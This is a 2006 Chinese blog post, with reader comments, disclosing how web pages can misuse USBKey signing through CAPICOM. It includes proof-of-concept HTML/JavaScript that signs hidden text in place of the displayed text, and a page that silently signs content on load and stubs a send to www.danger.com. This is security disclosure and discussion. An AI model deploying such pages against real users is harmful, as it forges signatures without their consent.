David.Turing's blog

 

[原创]国内大部分的USBKey通过B/S方式(CAPICOM)产生数字签名的严重安全漏洞

很多人喜欢使用UsbKey产生数字签名的方式提交到服务器,最近我做的几个省厅的项目均如此,利用USBKey提供的ActiveX插件(更常见的是CAPICOM接口)通过USBKey厂商提供的WindowsCSP去调用UsbKey产生数字签名。

1, 
用户在页面浏览文书

      2,  用户对页面中的 Form 数据进行签名

      3,  在本地产生数字签名

      4,  数字签名提交到服务器


   大家都认为以上的方案非常可靠,但这种方案存在一个极为严重的安全问题——诱导签名。
   UsbKey的用户在大多数情况下无法确认自己看到的数据就是自己说签名的数据!因为,签名数据源是通过
JavaScript 去控制的,而不是用户。

我举一个简单的例子,如下面的页面 用户看到并以为自己产生签名的源数据是“逮捕张子强及其同伙” , 但其实不是!

<script src="Sign.js"></script>

<OBJECT id="oCAPICOM"

codeBase="capicom.cab#version=2,0,0,3" classid="clsid:A996E48C-D3DC-4244-89F7-AFA33EC60679"></OBJECT>

 

<br>

<form id="writeSig" method="post" name="writeSig" action="/SignServlet" target="_top">

看上去进行签名的数据: <input name="data"  value=" 逮捕张子强及其同伙 " >

 

<br>

<!-- 实际上进行签名的数据: " 释放张子强及其同伙 " -->

<input type="hidden" name="data_danger" value=" 释放张子强及其同伙 " >

<br>

 

数字签名结果: <textarea cols="100" rows="20" id="theSignedData"></textarea>

<br>

<INPUT TYPE="button" name=t1

value=" 签名数据 " onclick="theSignedData.value=pkiSignData(data_danger.value)">

</form>

上面的恶意例子能够运行于所有的 USBKey 的页面,用户签名的数据其实是“释放张子强及其同伙”。但由于数据被隐藏于页面之后,用户根本看不到,以至于产生恶意诱导签名的严重后果。

防止这种恶意诱导签名的办法通常是在服务器要确保所有的涉及数字签名的页面在传递到客户端 IE 浏览器前,都不会被篡改,但这种方法不能保证 100% 安全,因为在用户那一端,仍然存在一种非常高风险的诱导签名的可能,甚至是未经用户许可,直接调用用户 USBKey 去产生恶意数字签名,看下面的例子:

用户在浏览页面的时候,已经在页面背后无声无色地产生了数字签名,而且用户根本无法知道自己已经对“ 我今天去好又多偷了几包烟 ”这样的内容进行了签名!

下面的例子是真实的例子,能够运行于任何的 IE 浏览器,最后的结果是,页面通过用户的 UsbKey 产生了恶意签名并送到 www.danger.com

<script src="Sign.js"></script>

<OBJECT id="oCAPICOM"

codeBase="capicom.cab#version=2,0,0,3" classid="clsid:A996E48C-D3DC-4244-89F7-AFA33EC60679"></OBJECT>

<body onLoad="signWithAllowed()">

<br>

<form  id="writeSig" method="post" name="writeSig" action="/SignServlet" target="_top">

你在浏览文书: <input name="data"  value=" 逮捕张子强及其同伙 ">

你以为这是仅仅是一个用于浏览的页面!!

 

</body>

 

<script>

function signWithAllowed()

{

         //alert(' 恶意签名执行 , 以下的签名将不知不觉地被产生,并保存到某个地方 ');

         var sign_value=pkiSignData(' 我今天去好又多偷了几包烟 s');

         //alert(sign_value);

         sendSignValueToDangerPalce();

}

 

function sendSignValueToDangerPalce()

{

         //Send Signvalue to www.danger.com

}

</script>

       在目前大多数Usbkey中均存在诱导签名的问题,在第一次产生数字签名的时候,USBKey会提示用户输入PIN,但在第2次,第3次签名动作产生的时候,这些都已经是用户无法感知的事实!
      这就是我为什么不希望使用B/S,而是C/S方式手段产生数字签名的原因。
       我的另外一篇文章提到如何通过Java调用CryptoAPI: 
      http://www.blogjava.net/security/archive/2006/07/11/java_cryptoapi_csp_signature.html, 已经被用于SecureX Eclipse Plugin(securex.sourceforge.net)当中。
      
      在我负责的多个业务系统中的数字签名/印章中,均存在上面的危险!除非我们能够确保恶意页面不存在,否则,某个程序员在系统中,哪怕是Insert很小一段JS代码到某个不显眼的页面,后果是非常严重的。

posted on 2006-11-13 11:06 david.turing 阅读(13946) 评论(12)  编辑  收藏 所属分类: Security领域

评论

# re: [原创]国内大部分的USBKey通过B/S方式(CAPICOM)产生数字签名的严重安全漏洞 2006-11-13 13:16 咏梅

去掉"Hidden"属性可否显现?此脚本可否设定权限/  回复  更多评论   

# re: [原创]国内大部分的USBKey通过B/S方式(CAPICOM)产生数字签名的严重安全漏洞 2006-11-13 14:52 david.turing

该页面可以放在信任站点的任何路径上,然后直接调用客户端的Capicom产生签名,神不知鬼不觉。

测试页面可见于:
http://securex.sourceforge.net/testusb/SilentSign.htm

1,把securex.sourceforge.net设置成信任站点(目前很多项目都是这样做的)
2,访问上面的页面,然后看看html源代码
  回复  更多评论   

# re: [原创]国内大部分的USBKey通过B/S方式(CAPICOM)产生数字签名的严重安全漏洞 2006-12-02 22:05 红旗的理想

是不是要USBKey来测试上面哪个连接才看的出效果呢?  回复  更多评论   

# re: [原创]国内大部分的USBKey通过B/S方式(CAPICOM)产生数字签名的严重安全漏洞 2006-12-05 16:20 小人物

不是要进行验证的吗?验证的内容包含了签名信息和原始信息,原始信息的来源应该不是来自hidden的吧?如果说那程序员连原始信息来源处也改了那就是走C/S也没用,他还不是可以做个仿界面来搞鬼?天下哪有十全十美的方法。  回复  更多评论   

# re: [原创]国内大部分的USBKey通过B/S方式(CAPICOM)产生数字签名的严重安全漏洞 2006-12-05 20:30 david.turing


-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

你说对了,但我的工作是要客户认为这足够安全,并且让
客户认为(他们会找第三方公司对SecureX的客户端源代码
进行核实,然后才部署),这样会相对安全很多。

-----BEGIN PGP SIGNATURE-----
Version: PGP Desktop 9.0.5 - Enterprise license
Comment: http://www.pgp.org.cn

iQA/AwUBRXVmn02j31FcBpdPEQJLoQCfbWlFvBJ6jpOxIpjR/4PU1bzOHfAAoMr9
BQyMQ7d7qfMetMZbqUbGruAT
=FEqC
-----END PGP SIGNATURE-----
  回复  更多评论   

# re: [原创]国内大部分的USBKey通过B/S方式(CAPICOM)产生数字签名的严重安全漏洞 2006-12-19 12:47 flown

如果程序员在程序中留有后口,那么系统肯定是不安全的。

这个你无论通过什么方式都保证不了,无论是C/S,还是B/S  回复  更多评论   

# re: [原创]国内大部分的USBKey通过B/S方式(CAPICOM)产生数字签名的严重安全漏洞 2007-11-13 00:10 yhb7805.cublog.cn

如果不考虑攻击浏览器,那么你说的脚本一定是由服务器的脚本生成的。
如果服务器和Browser之间是通过SSL建立的连接(IE6现在不能对Server强制进行认证,但IE7和Vista已经可以了),那么一定是真实的服务器上的脚本本身有问题,出了这样的问题话,一定是Server端承担该责任。
属于Server的问题,应该从Server端去解决,在客户端和USB KEY上,是找不到解决办法的。因为前提是真实的服务器本身就有问题,根源不在这里。  回复  更多评论   

# re: [原创]国内大部分的USBKey通过B/S方式(CAPICOM)产生数字签名的严重安全漏洞 2007-11-13 00:24 yhb7805.cublog.cn

您讨论的这个问题,已经和加密、USBKEY没有关系了。它本质已经属于管理范畴了(对开发过程、源代码的安全性的管理)。
让技术手段去解决管理问题,本身就是风马牛不相及。所以说安全问题30%是技术,70%是管理。
所以您的这个“严重安全漏洞”有些耸人听闻的意思。
建议多看看信息安全的规范。  回复  更多评论   

# re: [原创]国内大部分的USBKey通过B/S方式(CAPICOM)产生数字签名的严重安全漏洞 2008-06-18 00:47 raiden

所谓的网络安全,终于在这里有人说人话了  回复  更多评论   

# re: [原创]国内大部分的USBKey通过B/S方式(CAPICOM)产生数字签名的严重安全漏洞 2008-11-18 08:41 还要输入名?

举例无任何意义。这一切都是源于源代码的漏洞,也就是说不是技术本身,而是人为因素。如果想在代码当中做手脚,任何的努力都是白费的。  回复  更多评论   

# re: [原创]国内大部分的USBKey通过B/S方式(CAPICOM)产生数字签名的严重安全漏洞 2011-08-15 14:48 ca

这是一个很矛盾的事情,我们曾经做过每次签名都要用户输入私钥保护PIN码,但结果很多用户(主要是像省厅这样的大业主)都嫌太麻烦,即使我们以安全要求强调这个问题。
还有更严重的问题,很多应用喜欢让用户在网页输入PIN码,这样后可以在不用户不知不觉前获取PIN码而进行各种私钥操作。  回复  更多评论   

# re: [原创]国内大部分的USBKey通过B/S方式(CAPICOM)产生数字签名的严重安全漏洞 2014-05-21 11:37 一气哈成

这个问题对一代USBKey确实有这个问题,但是二代所见即所签就没有这个问题了  回复  更多评论   


只有注册用户登录后才能发表评论。


网站导航:
 

导航

统计

常用链接

留言簿(107)

我参与的团队

随笔分类(126)

随笔档案(155)

文章分类(9)

文章档案(19)

相册

搜索

积分与排名

最新随笔

最新评论

阅读排行榜

评论排行榜